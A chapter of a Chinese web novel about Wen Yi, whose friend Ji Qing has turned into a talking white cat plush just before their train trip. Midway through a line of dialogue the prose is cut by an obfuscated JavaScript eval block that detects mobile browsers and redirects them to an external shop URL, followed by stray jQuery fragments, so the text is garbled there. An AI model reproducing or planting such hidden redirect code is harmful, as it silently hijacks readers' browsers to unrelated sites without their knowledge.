高铁在崇山峻岭间蜿蜒穿行,靠窗的少女低着头在手机上敲敲打打,蹙眉抿唇,身旁紧紧靠着一只白色的猫猫玩偶。

    片刻后温亦烦躁地叹了一口气,静音车厢一点都不静音,旁边小孩的尖叫声简直要刺破她的耳膜。

    她一怒之下扫了手边的反馈二维码,洋洋洒洒打出两百字,被召唤来的乘务员终于制裁尖叫的来源。

    ……却无法制裁焦躁的来源。

    温亦狠狠将手边靠过道座位上的猫猫玩偶抱起来,在怀中一阵蹂躏,直到那一道熟悉的清冷声音在她脑海中响起。

    “别揉了,”季青闷闷地说,“我有点……晕车。”

    “平时也没见你晕车,”温亦恶声恶气地说,“变成猫咪了知道晕了!”

    季青被她牢牢地抱在怀里,遇到难回答的问题又不出声了。温亦低头看一眼他微微耷拉的耳朵和又圆又蓝的眼睛,心又软了下来,揉了一把他毛茸茸的肚子,嘟囔道:“季青,你说要是变不回来了怎么办呐?”

    “不会的。”他的声音响在温亦的脑海里,明明还是十几年来已经熟悉得不行的声线,却好像多了一点说不清道不明的撒娇意味,“只要你一直抱着。”

    .

    今天——六月十日上午八点,温亦拖着她的两个大行李箱登堂入室,和管家阿姨问过好,行李箱一撒手就扑上楼去敲季青的房门。

    “快快,九点半的高铁,再耽搁一会儿要赶不上了,你怎么不回我消息呀?”温亦贴着房门问,“昨晚几点睡的?”

    她昨天晚上犯小学生春游综合征,翻来覆去到一点多都睡不着,给季青发了一长串消息。

    结果平时秒回的人,这都第二天八点了,一条消息都没有回复她。

    温亦敲完门,等了两秒,里面还是一点声息都没有。

    这很不符合常理,按照以往一起出去玩的经验推论,应该是季青在七点半敲开她的家门,和她的爸妈问过好之后十分礼貌地推开她的房门,万分不礼貌地将她从被窝里揪出来,监督她洗漱、收拾,然后一手一个行李箱奔赴机场或者高铁站。

    他“冷暴力”的情景还是第一回出现,温亦倍感新奇。

    今天是星期三,季青的父母都不在家;温亦向着楼下的虚空问好,然后十分礼貌地推开季青的房门。

    熟悉的装修,简洁又冷淡的几何深色系。书架上收着几本漫画,之前温亦家长不让看,她就藏到季青房间里,连带着她随手乱放的本子、笔和发绳都被妥善地放在书桌旁的收纳筐中。

    书柜、书桌、衣柜、床都在该在的位置,除此之外空无一人。

    温亦站在他的门口愣了愣,心想难道是去她家找她了?然而打开手机却还是没有消息。

    他要是醒了绝对会先回复的。

    不应该啊,难道他在客房睡的?温亦倒退出去开了走廊尽头的客房门,里面依然没人,甚至能看到半敞的衣柜中挂着她上次换下来的衣服。

    管家阿姨叫了温亦一声,和她说早饭在桌上防尘罩里让季青和她趁早吃,自己去河边买菜。

    楼下大门轻声关闭,温亦又从管家阿姨的话里提炼出一点信息。

    让季青和她趁早吃,所以季青肯定还没下过楼!

    温亦关闭客房的门,在心中严肃命名“寻找失踪季青计划”,立刻开始使用玩解谜游戏的目光审视他的房间。

    季青平素爱干净到了近乎洁癖的地步,任何东西使用完都会归位,书桌衣柜都毫无异常,床边倚着一个黑色的双肩包,温亦过去拉开拉链,里面是旅游相关的一次性用品、相机和衣服之类。

    这里面不可能藏人,季青又不是平白无故和她玩捉迷藏的性子,温亦看了一眼时间,叹口气,叉着腰站在床边。

    下一秒,她的目光在床上定格。

    有时候去她家,季青还会动手把她的被子折叠整齐,更不用说他自己的房间,要不是温亦折腾,这房间完全就是样板房,别想看出来一点住人的样子。

    然而现在他的被子微微鼓起,中间似乎藏着什么东西。

    温亦呼地将被子掀开,季青惯用的沐浴露味顿时铺天盖地地灌满房间,她失望地皱了皱眉,眼睛又立刻亮起来。

    床上并没有蜷缩起来和她躲猫猫的季青,却有一只和房间装潢格格不入的猫猫玩偶。

    白色的玩偶毛茸茸地躺在深色格子床单上,眼睛又蓝又圆,脖子上系着一根蓝色的丝带,嘴巴撇成“^”,不高兴的样子和季青还有点像。

    温亦又环顾一圈,房间里能藏人的地方已经被她找遍了,总不能是洗澡时候晕浴室了吧?

    她踢踢踏踏地走出去打开浴室门,里面光洁崭新,没有一个名唤季青的十八岁晕倒不明物。

    绕了这么一圈,还拉着两个大行李箱从隔壁栋短途跋涉过来,温亦已经有一点累了。她又看了一眼时间,心道要是误了高铁让季青全权赔付,一边顺手将猫猫玩偶捞过来塞进怀里,打字。

    小温小温:季

    小温小温:大

    小温小温:少

    小温小温:爷

    小温小温:您还记得咱们的高铁是九点半的吗?要赶不上了!!

    “我记得,”那一道声音凭空响起,温亦分辨不出来方向,她豁然站起左顾右盼,听季青有些卡顿地说完下半句话,“我不是故意不回你消息的。”

    “什么?”温亦没有看到他,一边环视一边问,“什么新技术吗,你背着我学会传音入密了?之后能不能教我,你在哪儿?”

    “没有传音入密,你武侠小说看多了。”季青冷酷地打碎温亦的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839031|211582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    幻想,然后不知是不是她的错觉,他的声音好像扭捏了几分,夹夹地说,“……你的怀里。”

    温亦茫然地用眼睫毛扣了个问号。

    “我说,”季青重复,温亦第一次听出来某些腼腆的成分,她震撼地想这是季青吗,“我在你的怀里。”

    温亦的眼睫毛维持着问号的形状,茫然地低下了头。

    她的怀里只有刚刚差点吓掉的手机,哦。

    还有那只顺手揪过来的猫猫玩偶。

    丢掉猫猫只需要一秒,温亦收回手抱臂,庄严地看着蓝眼睛的玩偶,严肃道:“怎么回事?!”

    “我——”她只听到一句话的第一个字,剩下的未尽之言都像信号不好,一个字都没有接收到。

    温亦冷酷地在心里默数五秒,确认再也没有声音了,立刻俯下身把猫猫捞起来,季青的声线重新响在她脑海之中。

    “不要丢我,”温亦再次震撼地从他的话里听出委屈的成分,“也别害怕,十天之后会变回来的。”

    “什么意思?”她脑海中的疑问可以写出十本十万个为什么——一本百万个为什么,但季青罕见地打断她道:“你昨晚订车了吗?”

    百万个为什么中道崩殂,温亦问:“什么订车?”

    “如果没有预订去高铁站的车并通知门卫车牌号放行,你要拖着行李箱步行大于十分钟才能抵达小区门口。”季青说,猫猫脸上出现一些显而易见的怜悯之情,“显然你没有,而我昨晚准备订车的时候,变成了……一个玩偶。”

    他看着温亦逐渐冻住的神情,体贴地继续说话:“我这副样子肯定不能继续留在家里,否则我爸妈立刻将我送去什么医院然后辗转研究所为国献身,最好的方案反而是继续我们的计划,去坪州度过这十天。”

    “变成猫猫之后你话都变多了。”温亦感慨道,听能工智人——能工智猫小季小季同志继续规划路线:“九点三十四分的高铁,至少需要在九点十四分抵达澜江安陵站外,你现在还剩下……现在几点了?”

    温亦迅速抬头看表:“八点二十八。”

    “你现在还剩下四十六分钟,从我家到门口至少十分钟,”温亦抱着猫,只剩下一只手,没办法一手一个行李箱,只好迅猛地拆开将重要的东西花三分钟抖搂到一个里边,剩下的不好意思放客厅,先上楼丢季青床上,刚准备下楼拉上拉链开始狂奔就又被止住。

    “相机,”季青提醒,“在我包里,两个有自拍功能的和一个拍立得一个CCD,记得拿相纸。”

    温亦回头拿上,拉链一拉,规划完美的旅游被跑出一种逃难的气势,她百忙之中夹着猫猫点开打车软件,突然有点想笑。

    或许有一个词比起逃难更适合形容这种境遇,又在关系上算不得那么贴切……

    私奔。